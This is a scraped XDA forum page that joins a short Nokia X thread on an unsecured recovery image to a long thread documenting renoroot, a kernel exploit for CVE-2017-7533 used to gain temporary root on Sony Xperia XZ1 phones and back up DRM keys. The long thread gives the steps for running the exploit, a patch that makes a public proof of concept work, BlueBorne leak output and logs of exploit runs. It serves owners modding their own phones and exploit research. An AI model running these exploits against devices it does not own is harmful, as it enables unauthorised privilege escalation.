Usecure Stock recovery image for Nokia X based on 11.1.1 build
So I made an unsecure Stock recovery image.
It can be used for adb shell access, where you can mount /system /data or other partitions and pull or push files with ease and set permissions. (i.e. installing gapps, etc)
As always I take no responsibility if fire shoots from your device or all your data is lost
Download: NokiaX_unsecure_Stock_recovery.img
The recommended use is to just boot this rather than flashing it, like this:
Code:
fastboot -i 0x0421 boot NokiaX_unsecure_Stock_recovery.img
from there you can adb shell and hack away
Please be careful!
To mount system in adb shell you can:
Code:
mount -t ext4 /dev/block/mmcblk0p18 /system
ADVANCED USERS:
If you want to flash this you first need to boot the unsecure recovery as mentioned above.
Once booted go into adb shell and mount system as listed above. Then:
Code:
mv /system/etc/install-recovery.sh /system/etc/install-recovery.sh.bak
reboot bootloader
Once you are back to bootloader you can flash the recovery with:
Code:
fastboot -i 0x0421 flash recovery NokiaX_unsecure_Stock_recovery.img
fastboot -i 0x0421 reboot
It is definitely possible to run custom kernels on this as well. This recovery is using kernel built from source https://github.com/dhacker29/android_kernel_nokia_normandy
Code:
00000 UTC)] [cpuid: 0] Linux version 3.4.83-perf-g6f5f119-16182-g47231d7-dirty ([email protected]) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Mar 24 02:46:06 EDT 2014
<4>[ 0.000000] [(1970-01-01 00:00:00.000000000 UTC)] [cpuid: 0] CPU: ARMv7 Processor [410fc051] revision 1 (ARMv7), cr=10c5387d
<4>[ 0.000000] [(1970-01-01 00:00:00.000000000 UTC)] [cpuid: 0] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
<4>[ 0.000000] [(1970-01-01 00:00:00.000000000 UTC)] [cpuid: 0] Machine: QCT MSM8625 SURF
dhacker29 said:
It is definitely possible to run custom kernels on this as well. This recovery is using kernel built from source https://github.com/dhacker29/android_kernel_nokia_normandy
Code:
00000 UTC)] [cpuid: 0] Linux version 3.4.83-perf-g6f5f119-16182-g47231d7-dirty ([email protected]) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Mar 24 02:46:06 EDT 2014
<4>[ 0.000000] [(1970-01-01 00:00:00.000000000 UTC)] [cpuid: 0] CPU: ARMv7 Processor [410fc051] revision 1 (ARMv7), cr=10c5387d
<4>[ 0.000000] [(1970-01-01 00:00:00.000000000 UTC)] [cpuid: 0] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
<4>[ 0.000000] [(1970-01-01 00:00:00.000000000 UTC)] [cpuid: 0] Machine: QCT MSM8625 SURF
Click to expand...
Click to collapse
Nice work D.
ok so when can we see cyanogen mod for nokia x
mega_man said:
ok so when can we see cyanogen mod for nokia x
Click to expand...
Click to collapse
Never ASK FOR ETA
mega_man said:
ok so when can we see cyanogen mod for nokia x
Click to expand...
Click to collapse
I have to get a working version of custom recovery before we can even start to think about Cyanogenmod lol
I need a tester who can test my build of CWM. Anyone up for testing?
Sent from my C2105 using Tapatalk
varun.chitre15 said:
I need a tester who can test my build of CWM. Anyone up for testing?
Sent from my C2105 using Tapatalk
Click to expand...
Click to collapse
Ya iam ready to test..!!! currently flashed lewa recovery and lewa os..!!!
krishnankrish said:
Ya iam ready to test..!!! currently flashed lewa recovery and lewa os..!!!
Click to expand...
Click to collapse
I will pm you when the build is ready.
Sent from my C2105 using Tapatalk
Same here. Always happy to test. The framebuffer is causing me issues still
Sent from my DROID RAZR HD using Tapatalk
:thumbup::thumbup::thumbup:
Sent from my Nokia_X using Tapatalk
varun.chitre15 said:
I need a tester who can test my build of CWM. Anyone up for testing?
Sent from my C2105 using Tapatalk
Click to expand...
Click to collapse
I'm ready
Tools to backup TA partition (drm keys) of Xperia XZ1 Compact
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
by j4nn
https://j4nn.github.io/
As everyone knows, bootloader unlock via code from sony removes drm keys. That disables certain functions, the most critical one being the camera (outputting only solid green pictures in case of oreo fw).
I've implemented tools that allow to backup the whole TA partition, which contains device master key needed to access sony drm keys and restore the TA after bootloader unlock in order to make the camera (among other things) working again on any sony stock firmware.
In order to be able to use the tools, you need to flash one of the supported firmwares (or be lucky to have the phone already running it).
In case you need to downgrade, please check this thread first.
Anybody who is about to unlock your phone, could you please do so with additional test included?
See post#500 and post#502 for more details.
Additional details in post#515, post#516, post#517 and post#527.
Instructions for the test that I kindly ask anybody who is about to unlock to do are described in the post#520 -- tested already.
Thank you.
ABOUT THE TOOLS
renosploit - rename/notify exploit to get kernelspace read/write, uses multiple vulnerabilities to overcome kaslr, pxn and pan mitigations of android oreo
renotrap - helper application (rename/notify temp root app)
renoshell - get temp root shell by use of kernel space read/write primitives provided by renosploit (sources available here)
renoroot - a shell script to be started from adb, it starts the above tools to get temp root shell
A preview video of the tools in action can be downloaded here: renoroot-preview.zip or watched online here.
As an alternative to renoroot you may use 'bindershell' to get a temp root shell for TA backup - it is available here /added on 2020-02-08/
SUPPORTED TARGETS
(with downloadable firmware links)
Sony Xperia XZ1 Compact (G8441)
47.1.A.2.324_CE1 (initial tested by @tramtrist, this release tested by @tanapoom1234 post#212)
47.1.A.8.49_CE1 (tested by @notaz post#224 and @orsonmmz post#232)
Sony Xperia XZ1 (G8341/G8343)
47.1.A.2.324_CE1 (tested by @HandyMenny post#228)
Sony Xperia XZ1 Dual (G8342)
47.1.A.2.281_CE1 (tested by @Vildanoff post#230)
Sony Xperia XZ1 (SOV36) /added on 2019-08-22/
this Japan version can be flashed with fw for G8431 making it exploitable as standard XZ1 (the possibility to use G8431 fw is confirmed here and also here)
/this confirms there might be a possibility of TA backup for few yoshino platform phone models that are possible to flash with one of the above firmwares (and boot ok even though designed for other phone variant)/
Sony Xperia XZ Premium (G8141)
47.1.A.3.254_CE1 (tested by @DocLM post#227, by @LinFan post#242 and by @steso90 xzp forum post#45)
Sony Xperia XZ Premium Dual (G8142)
47.1.A.3.254_RU (tested by @greatpatel007 xzp forum post#31 and #39)
Sony Xperia XZ Premium (G8188) /added on 2019-04-24/
this Japan version can be flashed with fw for G8141 making it exploitable as standard XZp (tested by zatsune as documented here)
/this confirms there might be a possibility of TA backup for few yoshino platform phone models that are possible to flash with one of the above firmwares (and boot ok even though designed for other phone variant)/
An advice: before flashing anything, enable 'OEM Unlocking' in android developer menu and if flashing a fw for different phone model, skip flashing bootloader (i.e. remove boot/ subdirectory completely before using newflasher). /added on 2019-08-27/
Please note: the temp root exploit (all renoroot tools) are designed only for the above firmware versions (binary kernels builds in them) - there is no chance it would work on other phones or other kernel builds - do not try it, it would not work.
Concerning portability to other targets, the exploit itself needs several vulnerabilities not fixed in a kernel, the primary one is CVE-2017-7533 (race between inotify and rename).
This was patched by google with 2017-12-05 security patch level. That means unless you can flash a firmware with older security patch level, it would not make sense to try to adapt the exploit for a new target (like it is a case with XZ2 Compact device for example).
USING THE TOOLS
Please follow the steps bellow for a official and up to date guide. If something was not clear enough, you may also check post#382 from @munted for a pdf guide with screenshots possibly containing more details and windows specific hints.
backup everything you need from your phone
flash compatible firmware
Before flashing, you may take a screenshot of service menu -> service tests -> security possibly together with current sw version screen for reference and copy them from the phone to your PC.
You can use newflasher tool from @munjeni and use instructions there to flash the firmware.
The tool should skip dangerous .ta files automatically. You may consider removing Just remove the persist_X-FLASH-ALL-42E5.sin file, which is discussed here to avoid flashing it - as tested by @tanapoom1234, not flashing the persist partition allows to keep the Android Attest Key - check his post#212. /Added on 2019-04-06: The key is not part of TA obviously, it is present in the persist partition, so never flash persist even after TA backup./
/Added on 2019-04-09: When flashing a firmware, be sure to flash it's bootloader too (i.e. the whole 'boot' directory needs to be present with all files in it including the .ta there). You might skip appslog, diag, Qnovo and ssd./
In case of downgrade it is needed to flash userdata (and possibly also cache) otherwise you get a boot loop.
Just backup your stuff before downgrade as with downgrade comes a factory reset. In fact I would recommend to do a factory reset just before the downgrade in order to remove the binding to your google account. This way you can avoid going online after the downgrade if used without sim and skipping wifi configuration.
prepare your phone
When the phone boots up, try to avoid connecting to internet by selecting only wifi and not configuring any, skipping accounts setup for later.
This may not always be possible - if persist is not flashed, android insists on setup of google account online, also starting downloads for upgrade.
Cancel everything as soon as possible and disable wifi. You may be better not using a data enabled sim card - we try to avoid any updates.
Disable auto updates of both apps and system. Change the theme from animated backgroud to a static one.
Enable developer menu, enable adb and "Stay awake" option. An youtube video showing the initial setup to prepare for renoroot is available here.
Take a screenshot of service menu -> service tests -> security for reference and copy it from the phone.
Again be sure both wifi and mobile data connection are disabled to avoid any background internet access.
install the tools
Unzip renoroot.zip (download it bellow). Use following adb commands to get the tools to the phone:
Code:
adb push renoroot /data/local/tmp
adb push renoshell /data/local/tmp
adb push renosploit /data/local/tmp
adb install -r renotrap.apk
start the tools to get a temp root shell
Use adb shell to get a command line terminal to the phone and use following commands:
Code:
cd /data/local/tmp
chmod 755 reno*
./renoroot
The last command above will start the exploit eventually resulting with a temp root shell (that should be indicated by # char before the cursor).
It may get the phone to reboot in case an overwrite does not hit the wanted shaped heap object.
You may wait few minutes after the phone boots to allow startup processes to settle down in order to avoid timing influence for next trial.
There is a video for example of this step available here.
backup your TA partition
When renoroot is successful, you may use following commands in the root shell to backup the trim area partition:
Code:
cd /data/local/tmp
dd if=/dev/block/bootdevice/by-name/TA of=TA-locked.img
chown shell:shell TA-locked.img
sync
sync
And then try to read it out from the phone to your PC - use another command prompt window, do not exit the root one:
Code:
adb pull /data/local/tmp/TA-locked.img
unlock phone's bootloader using a code from sony
When you have the TA-locked.img on your PC including screenshots, you may start the official Sony unlock procedure - follow instructions on sony website please.
Added on 2019-04-16: please note, bootloader unlocking is not reversible - it is not possible to re-lock back (restore of TA-locked does not relock the bootloader).
So be prepared to live with the boot up warning screen (can be seen for example in this video).
Again be sure you have the TA-locked.img on your PC before you start unlocking the bootloader - unlock will erase you phone, so it would get lost from /data/local/tmp if not backed up.
In case oem unlocking is grayed out (so you cannot enable it) you need to go online at least once and the option would be accessible then - video here.
After you unlock the bootloader, do not flash anything - just boot the same unmodified fw we used for the temp root.
get temp root again to restore TA
Use the same instructions to avoid internet access and updates as described above, configure the few above mentioned options and start renoroot as before.
With the temp root shell, backup the unlocked TA (for future comparisons) and then restore the state from the locked one. You may need to adb push the TA-locked.img back to /data/local/tmp as the unlock erased everything.
Code:
cd /data/local/tmp
dd if=/dev/block/bootdevice/by-name/TA of=TA-unlocked.img
chown shell:shell TA-unlocked.img
sync
sync
And then try to read it out from the phone to your PC (and transfer the locked TA back to the phone) - use another command prompt window, do not exit the root one:
Code:
adb pull /data/local/tmp/TA-unlocked.img
adb push TA-locked.img /data/local/tmp
And using the window with renoshell temp root shell, restore the TA:
Code:
cd /data/local/tmp
dd if=TA-locked.img of=/dev/block/bootdevice/by-name/TA
sync
sync
boot up the phone with the current fw and see about the camera if it works on not
You may also document the security screen state by taking a screenshot. Do not forget to transfer it from the phone to PC.
flash twrp recovery
Updated on 2019-08-08: please see post#1029 for the latest workflow with the kernels hiding bootloader unlock status.
Updated on 2019-02-10:
Instead of flashing twrp, you may just 'fastboot boot' it if you need it.
Instead of the steps 10. to 13., you may use patched and rooted kernel hiding bootloader unlock available in following forum threads in order to be able to even install FOTA system update
[XZ1c] rooted kernel hiding bootloader unlock with working fota
[XZ1] rooted kernel hiding bootloader unlock with working fota
[XZp] rooted kernel hiding bootloader unlock with working fota
giving you back sony drm functionality that fw disables when it detects unlocked bootloader status. For more details see also post#645 of this thread.
OPTIONAL step (only for XZ1c maybe XZ1)
This step is optional and only lightly tested. The idea is that secd detects unlocked bootloader and switches to limited mode even though drm keys are available. This can be seen in the adb logcat with following message:
Code:
E secd : secd_backend_credential_manager.cpp:77 the bootloader is unlocked, use limited functionality
To workaround that, we may use a secd ripped from secd extension by modpunk - just flash attached secd-ignore-unlock.zip at bottom of this post via twrp recovery (do not flash the 'secd extension by modpunk' which is linked here only for reference).
I've analysed, what changes were done in the secd. Also the lib which fixes the missing device key in TA is not needed from the modpunk's package as we have the real valid key there, so I've removed the lib (and the script which would preload it). Therefore it is just about making secd think that bootloader was not unlocked. Thanks to @modpunk for the patched secd and @russel5 for the flashable zip on which the secd-ignore-unlock.zip is based on.
With this, sony updates may start to arrive.
Please note, this would make sony think the phone runs unmodified and still locked fw. OTA updates may restore original secd or fail altogether (due to modified system/vendor/... partitions).
You may boot the phone to see what happens (OTA updates?) - edit: OTA updates did come, but install to be done on reboot failed - tested by @Unbounded, see post#43 and #44 of the attest key thread please - this may confirm the availability of the SOMC Attest Key which may be the key needed to get sony ota updates (just a guess, not sure what exactly this key is used for).
Again, this step is optional and very experimental, maybe better not to apply it (camera works without this step on any stock fw without any change /until sony changes that in some update/).
Update: see post#395 for secd_ignore_unlock for XZ1c for pie from @S-trace - thank you. It works with XZ1 too (see post#396). The patch port for XZp pie is here: attest key thread post#67.
In my opinion all these secd patch variants are hiding the unlocked state only partially. There are other components in the fw that ask about the unlock state. A proper solution for this is the unlock hiding patched kernel linked in the step 10. of this howto.
flash a recent stock firmware
In case you wanted the patched secd, flash it again over the flashed fw.
Boot the phone, check functionality, take screenshots.
install magisk if rooted phone is what you need; -)
Follow instructions of latest magisk, it should work without any special actions.
AUTOMATED FULL BACKUP
These are experimental tools (and actually seem not to work in some cases getting truncated files that are useless) to extract most of the partitions from the phone after getting a temp root. It can be used for comparisons/analysis of what unlock changes (download backup-tools.zip at bottom of this post).
You would run backup-setup.bat in windows command prompt first (you may need to adjust the PATH setting to find adb properly) to copy the tools to the phone and setup tcp forwarding for netcat based copying.
Then using adb shell you would do:
Code:
cd /data/local/tmp
./backup-send.sh
and in windows command prompt you would start:
Code:
backup-recv.bat bk-unlocked
and partitions images would be extracted from the phone (for larger ones sparse android image format is used).
Full depth comparison could be achieved by use of these backup tools (obviously needs to be done twice - before and after unlock, changing the target directory name argument of backup-recv.bat).
WHAT WORKS
Here is a quote of post#185 from @tramtrist in this thread describing the results of the initial tests - special thanks to him!
tramtrist said:
I'd like to report in real quick on what's working.
After following @j4nn very clear instructions and backing up/restoring my TA keys I was left with the NOT PROVISIONED messages he mentioned earlier. However this seems to be no problem as after TA-restore my camera works as it did before. I'm also able to use WIDEVINE sites which require that key as well.
After restoring TA I went ahead and flashed the latest UK customized firmware
I then flashed TWRP latest version 3.2.3
I wanted to have root so I flashed Magisk 1.73 and safety net worked without me having to do anything special.
Google Pay could be set up and seems to be using my credit cards just fine.
I didn't flash any custom kernel as stock is just fine for me.
Adaway is working with root without issue.
All-in-all if you follow @j4nn instructions when he's ready to fully release them to the public then I'd say you will be in good shape.
I'd like to thank @j4nn for giving me the chance to finally contribute something concrete to this community. If you're gonna use this you should drop him some cash.
Click to expand...
Click to collapse
Update: if you follow the links added in step 10. and use "rooted kernel hiding bootloader unlock", it seems you can have all functionality restored including fota system updates while having magisk root with passed safetynet cts. Verified by @notaz in post#14 of the "[XZ1c] rooted kernel hiding bootloader unlock" thread. Thanks.
ACKNOWLEDGEMENTS
Many thanks to following users:
@moofesr - for testing initial kernel builds until proper build procedure had been found, special thanks for his patience when all tests resulted with bootloop
@Raz0Rfail and @moofesr - for testing timing of rename/notify vulnerability with patched kernel
@dosomder (aka zxz0O0) - for his iovyroot
@tramtrist - for initial testing of TA backup, unlock and restore, special thanks for exposing to risk of loosing drm if it did not work
@tonsofquestions - for a lot of testing with unlocked-ta-restored phone when I did not have an unlocked phone yet
ThomasKing (not a user on xda) - for his black hat ksma presentation
few other users in this and attest key lost thread here on xda - for some other cve possibilities, ideas and specific tests
DONATIONS
Please note: I had to invest enormously lot of time (as you can see throughout this thread and also summarized in progress/change log in post#2) to develop these tools, the code is extremely complex (more than 9000 lines of source code) and it was unbelievable hard to debug and get the timing usable.
It would be kind of you if you could consider donating here please:
https://j4nn.github.io/donate/
I would be happy to accept any donation to me as a form of gratitude in case the software helped you to backup your TA (drm keys) before bootloader unlocking.
Thanks.
DOWNLOAD THE TOOLS
See the attached renoroot.zip at bottom of this post.
Please post your experience with using the tools, if it worked and on which phone model (and fw in case of xz1c).
You may include info about how long it took to get a root shell, how many reboots, how many events in the last trial which succeeded with how many overwrites (just one with success is the best, more means previous overwrites did not hit wanted object in shaped heap resulting with possibly unstable system). This info is interesting for statistics, so we all know, how fast can we get a temp root on each device/firmware.
Thanks.
DEVELOPMENT PROGRESS / CHANGE LOG
26-05-2018 started this thread listing vulnerabilities found during many weeks of research done right after buy of my XZ1c phone
06-06-2018 post#7: managed to boot kernel from the 47.1.A.2.281 fw in qemu
16-06-2018 post#25: simple out of bounds overwrite not useful, complex exploiting of use after free needed
02-07-2018 post#33: explained how use after free exploit would work, but timing is impossible: kfree from rcu too late
06-07-2018 post#44 and post#48: more details about exploiting use after free and kfree_rcu too late kfree timing problem
17-07-2018 post#53: first kernel to test timing, did not boot when tried with unlocked xz1c
27-07-2018 post#73: solved the problem with delayed kfree from kfree_rcu, basic inotify/rename proof of concept running in qemu for long filenames
27-07-2018 post#75: found a way to build xz1c kernel from source which can be booted on unlocked xz1c, confirmed the delayed kfree from rcu timing problem
11-08-2018 post#88: extensive testing of timing
20-08-2018 post#104: inotify/rename exploit now works with long filenames, allowing kernel heap (256 bytes slub unit) overflow, overview of next phases of the exploit yet to be implemented
31-08-2018 post#118: implemented mostly arbitrary kernel write _together_ with mostly arbitrary kernel read, first bypass of KASLR but we need to bypass PXN & PAN too
15-09-2018 post#131: found that we will need ROP/JOP gadgets to overcome PXN & PAN oreo mitigations, more details in post#135
22-09-2018 post#137: first arbitrary kernel space read and write proof of concept working in qemu
22-09-2018 post#138: with great timing luck kernel space R/W poc worked on still locked xz1c
05-10-2018 post#146: first backup of my xz1c locked TA done: asking for an unlock-and-TA-restore test volunteer
07-10-2018 post#151: confirmed that BL unlock removed 66667 unit - device master key?
18-10-2018 post#162: exploit not reliable enough for public use yet
22-10-2018 post#165: renoroot preview video, send initial test version to @tramtrist
22-10-2018 post#168: renoroot initial test results - after TA restore camera works, BL remains unlocked
25-10-2018 post#185: more initial test results directly from @tramtrist
28-10-2018 post#199: researched possible uses of various keys from security service menu
03-11-2018 post#206: renoroot temp root including tools and howto for TA partition (drm keys) backup released, put everything on the first page
05-11-2018 post#235: renoroot confirmed working with other phone models
10-11-2018 post#287: ordered a new xz1c just for testing and development work
18-11-2018 post#348: the new xz1c arrived
22-11-2018 post#372: a persistent root from a temp root possibility - but not with selinux
11-12-2018 post#428: possibly the fastest temp root - 6.03 seconds with just 53 events and 1 overwrite
05-01-2019 post#493: explained about TA restore not re-locking bootloader - good for us!
09-01-2019 post#515: intercept BL unlock of xz1c in the middle of the procedure
10-01-2019 post#516: posted few videos to highlight key points when preparing for unlock with backup of TA via renoroot temproot
10-01-2019 post#517: video showing xz1c bl unlock with twrp booted in the middle
11-01-2019 post#520: howto for unlock with the twrp booted in the middle
19-01-2019 post#602: info about test to write dev master key TA unit from the secd process
30-01-2019 post#620: info about TA restore and various drm keys
02-02-2019 post#623: preview of FOTA system update fully installed with unlocked and rooted XZ1c - it confirms all functionality of a locked phone have been restored
05-02-2019 post#633: tested fota system update from oreo to pie - posted a video
10-02-2019 post#645: kernels hiding bootloader unlock released for XZ1c/XZ1/XZp - with locked TA restored this brings root with all locked phone functionality of stock fw restored
16-02-2019 post#652: ported BL unlock hiding patch to TAMA platform for testing with XZ2 (it worked, but cannot be booted via fastboot due to bug in bootloader according to sony /more details here/)
19-02-2019 post#663: patched XZ2 kernel to make it boot via 'fastboot boot' command from usb (tested successfully by @serajr post#664) - shall be useful for twrp setup on TAMA platform (post#668 by @MartinX3)
19-02-2019 post#672: fota system update with my rooted kernels verified with XZ2 phone by @serajr - so we may have fota system update with root on xz2/xz2c/xz2p/xz3 phones too (theoretically)
---->> moved the original opening post in here ----
Downgrade XZ1 Compact to 47.1.A.2.281 firmware version (not sure if this downgrade is safe, see android-attest-key-lost thread here please). The 47.1.A.2.324_CE1 version might be better to try first.
The 2.281 fw results with android security patch level 2017-08-05, kernel 4.4.74, android oreo.
BlueBorne vulnerabilities are not patched yet with this firmware:
CVE-2017-0785 Android information leak vulnerability PoC seems to work - tested myself.
Not sure, but it seems that bluetooth service is not a 32bit process anymore, contrary the note in BlueBorne whitepaper /The Bluetooth service in Android runs under Zygote (Android service manager), and is surprisingly a 32-bit process (even when the OS and CPU are ARM-64 for instance/ - example of stack dump obtained:
Code:
000000b0 00 00 00 00 ff ff ff fd ff ff ff ff d8 69 f4 80 │····│····│····│·i··│
000000c0 00 00 00 73 e8 60 0c 10 00 00 00 73 e8 60 01 40 │···s│·`··│···s│·`·@│
000000d0 00 00 00 73 d8 6b 20 08 00 00 00 73 e8 69 06 d0 │···s│·k ·│···s│·i··│
...
000007e0 00 00 00 73 2c 32 34 38 72 68 74 20 20 64 61 65 │···s│,248│rht │ dae│
000007f0 65 6d 61 6e 5f 74 62 20 6b 72 6f 77 75 65 75 71 │eman│_tb │krow│ueuq│
00000800 74 73 20 65 65 74 72 61 00 00 00 64 00 00 00 00 │ts e│etra│···d│····│
Those '00 00 00 73' are often present, quite possibly the upper 32bit part of a 64bit pointer. The text at 7e8 may be something like 'thread name bt_workqueue started', possibly indicating the CVE-2017-078 PoC worked (modified so that 'n = 90' to receive more data).
The first idea was to make the Android BlueBorne exploit working to obtain bluetooth service credentails and use that with some kernel exploit to switch to root in order to finally do TA partition backup (to save DRM keys).
The bluetooth user seems to have the NET_ADMIN capability, that could be very useful.
I've researched further possible kernel exploits and it seems to me that the kernel from 2.281 firmware seems to contain (at least) following vulnerabilities:
CVE-2017-7308 AF_PACKET packet_set_ring
This needs NET_RAW capability, that may be hard to obtain, bluetooth service seems not to have it.
CVE-2017-7533 race between inotify_handle_event() and vfs_rename()
https://exploit.kitploit.com/2017/08/linux-kernel-412-race-condition.html
This may work as a standalone exploit - checked the kernel source - vulnerability is not fixed, not sure about SElinux limitations and other android security mitigations - please discuss this.
Found only demo poc not getting root, but it may be possibly developed to full temp root standalone exploit.
This currently seems to be the most promising.
CVE-2017-1000112 memory corruption in UDP fragmentation offload
https://securingtomorrow.mcafee.com...vilege-escalation-analyzing-cve-2017-1000112/
https://ricklarabee.blogspot.cz/2017/12/adapting-poc-for-cve-2017-1000112-to.html
https://www.exploit-db.com/exploits/43418/
This could be used after BlueBorne done, as it needs NET_ADMIN capability.
HELP NEEDED PLEASE - let's collaborate and develop together the needed exploits!
For example it is hard for me to develop only with a locked device, better debugging may be possible on stock firmware with unlocked bootloader as some modifications may be flashed. My free time is quite limitted, so it would be useful to split the work.
----<< moved the original opening post in here ----
It seems that 'CVE-2017-7533 race between inotify_handle_event() and vfs_rename()' is not possible to trigger from adb shell - possibly some android security mitigations/selinux limitation?
Built exploit.c from CVE-2017-7533 with attached View attachment CVE-2017-7533-android-build.tar.gz android makefiles, adb pushed to /data/local/tmp:
Code:
G8441:/ $ uname -a
Linux localhost 4.4.74-perf+ #1 SMP PREEMPT Wed Aug 9 16:09:57 2017 aarch64
G8441:/ $ cd /data/local/tmp
G8441:/data/local/tmp $ ./exploit 2>err.log
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����test_dir/bbbb3210321032103210"
alloc_len : 50
callrename done.
G8441:/data/local/tmp $
the notify events seem not to be received
The rename function works in the exploit (tested separately), but many errors such as
rename1: No such file or directory
rename2: No such file or directory
are returned from the exploit though.
The inotify_init1 function returns valid fd, so it looks like everything is ok, but for unknown reason, inotify events are not received.
Running the same code in linux with vulnerable kernel results with this:
Code:
Linux 4.8.0 #1 SMP Tue Oct 25 09:09:01 UTC 2016 x86_64 Intel(R) Core(TM) i5-2500K CPU @ 3.30GHz GenuineIntel GNU/Linux
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100ÿÿ1ÿÿÿÿ"
handle_events() event->name : bbbb32103210321032100ÿÿ1ÿÿÿÿ, event->len : 32
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
callrename done.
alloc_len : 50
Note the 'handle_events' log message presence - that indicates receive of inotify event. The rename errors are not returned in this case.
That means even though the kernel is vulnerable (as verified in sony release source code - it is fixed since 47.1.A.12.34 version as can be seen with 'git log --stat -p origin/47.1.A.12.xxx -- fs/dcache.c' in sony's kernel git repository), it looks like we cannot trigger the bug simply from adb shell.
This is what is configured in the kernel (using sony's build instructions):
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
Am I missing something? Any idea why the bug cannot be triggered?
--previous edit-- 27-05-2018 at 22:58. Reason: added info about rename() on xz1c; added info about inotify_init1() on xz1c; added info about 1st fw version with a fix and relevant kernel config options
It doesn't trigger because the exploit itself is broken:
Code:
@@ -280,7 +280,7 @@ void *callrename( void *ptr )
char enter = 0;
char origname[1024];
char longname[1024];
- char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
+ char next_ptr[9] = "\x30\xff\xff\x31\xff\xff\xff\xff";
char prev_ptr[8] = "";
// This value will overwrite the next (struct fsnotify_event)event->list.next
With that it should work (not tested though).
Elevating through heap/slab overflow is not going to be straightforward though. As the redhat description states, we could redirect the free list pointer to userspace and provoke the kernel to put some function pointers there for us to modify, but as soon as a context switch happens the system will crash and burn. I guess easiest way would be to combine this with some older heap overflow exploit, assuming such thing exists (haven't looked)...
Thanks, your change really made it working:
Code:
G8441:/data/local/tmp $ ./exploit
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����"
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
...
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
alloc_len : 50
callrename done.
So this could be a way after all even though not easy.
It has been done already, oreo root exploit is existing and it uses the CVE-2017-7533 (race between inotify and rename) as a starting point. Unfortunately the exploit itself is not released yet.
There are slides explaining basics about the exploit available:
asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf
It continues even with a lot more interesting second stage exploit which mirrors kernel space memory for user space access using forgotten/overlooked feature of arm page table (address translation) setup.
Not sure when the exploit may be released - they are probably holding it back intentionally.
I guess that it will not be released for a long time because the Kernel Space Mirroring Attack is a totally new vulnerability (probably even without CVE yet). So they wait first for CVE assignment and then wait for google to release a fix and wait even more to allow vendors to deploy it to customers.
There are patches to KSMA being discussed on LKML since May 29th so things are moving on.
There's also a demo of the exploit here: https://youtube.com/watch?v=2zGTEv-iUOY
Managed to boot kernel from the 47.1.A.2.281 fw in qemu - dmesg here:
Code:
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Initializing cgroup subsys schedtune
[ 0.000000] Linux version 4.4.74-perf+ ([email protected]) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Aug 9 16:09:57 2017
[ 0.000000] Boot CPU: AArch64 Processor [411fd070]
[ 0.000000] Machine: linux,dummy-virt
[ 0.000000] cma: Reserved 16 MiB at 0x00000000bf000000
[ 0.000000] On node 0 totalpages: 524288
[ 0.000000] DMA zone: 8192 pages used for memmap
[ 0.000000] DMA zone: 0 pages reserved
[ 0.000000] DMA zone: 524288 pages, LIFO batch:31
[ 0.000000] psci: probing for conduit method from DT.
[ 0.000000] psci: PSCIv0.2 detected in firmware.
[ 0.000000] psci: Using standard PSCI v0.2 function IDs
[ 0.000000] psci: Trusted OS migration not required
[ 0.000000] psci: Initializing psci_cpu_init
[ 0.000000] PERCPU: Embedded 21 pages/cpu @ffffffc07efaf000 s47936 r8192 d29888 u86016
[ 0.000000] pcpu-alloc: s47936 r8192 d29888 u86016 alloc=21*4096
[ 0.000000] pcpu-alloc: [0] 0 [0] 1
[ 0.000000] CPU features: enabling workaround for ARM erratum 832075
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 516096
[ 0.000000] Kernel command line: nokaslr androidboot.selinux=permissive
[ 0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[ 0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[ 0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[ 0.000000] software IO TLB [mem 0xb8a00000-0xbca00000] (64MB) mapped at [ffffffc078a00000-ffffffc07c9fffff]
[ 0.000000] Memory: 1923764K/2097152K available (17918K kernel code, 2652K rwdata, 8904K rodata, 10240K init, 2852K bss, 157004K reserved, 16384K cma-reserved)
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] modules : 0xffffff8000000000 - 0xffffff8008000000 ( 128 MB)
[ 0.000000] vmalloc : 0xffffff8008000000 - 0xffffffbdbfff0000 ( 246 GB)
[ 0.000000] .init : 0xffffff8009c00000 - 0xffffff800a600000 ( 10240 KB)
[ 0.000000] .text : 0xffffff8008080000 - 0xffffff8009200000 ( 17920 KB)
[ 0.000000] .rodata : 0xffffff8009200000 - 0xffffff8009c00000 ( 10240 KB)
[ 0.000000] .data : 0xffffff800a600000 - 0xffffff800a897300 ( 2653 KB)
[ 0.000000] vmemmap : 0xffffffbdc0000000 - 0xffffffbfc0000000 ( 8 GB maximum)
[ 0.000000] 0xffffffbdc0000000 - 0xffffffbdc2000000 ( 32 MB actual)
[ 0.000000] fixed : 0xffffffbffe7fd000 - 0xffffffbffec00000 ( 4108 KB)
